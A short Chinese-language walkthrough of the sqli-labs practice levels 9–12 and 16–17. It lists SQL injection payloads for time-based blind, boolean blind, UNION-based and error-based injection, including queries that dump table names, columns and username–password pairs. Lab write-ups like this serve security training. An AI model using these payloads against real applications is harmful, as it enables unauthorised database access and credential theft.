Bootstrap

Less-9~12,Less-16~17 攻略

除了Less-11外其他的最多到把库名查出来,因为后面和Less-11的代码基本一样

Less-9

Less-9闭合方式

时间盲注,闭合方式192.168.216.67/sqli/Less-9/?id=1' and sleep(5) --+

Less-9查询数据库 

http://192.168.216.67/sqli/Less-9/?id=1%27%20and%20if(substr(database(),1,1)=%27a%27,sleep(5),1)--+

 使用Burp suite抓包

 

 得到数据库是security

Less-10

Less-10闭合方式

http://192.168.216.67/sqli/Less-10/?id=1%22%20and%20sleep(5)--+

后面和Less-9一模一样

Less-11

Less-11闭合方式

Less-11列数

1' order by 2#

 Less-11跳过库名直接查询表名

1'  union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

Less-11字段 

1'  union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')#

 Less-11数据

 1'  union select 1,(select group_concat(username,'~',password) from users)#

 

Less-12

Less-12闭合方式

Less-12后面与Less-11一样

Less-16

Less-16闭合方式

Less-16列数

 Less-16数据库长度

Less-16数据库名

admin") and substr((select  database()),1,1)='s' #

使用burp suite抓包

发送到攻击器

 

得到数据库名是security 

Less-17

Less-17注入点是New Password

Less-17闭合方式

Less-17库名

1' and updataxml(1,concat(0x7e,database(),0x7e),1)#

 

;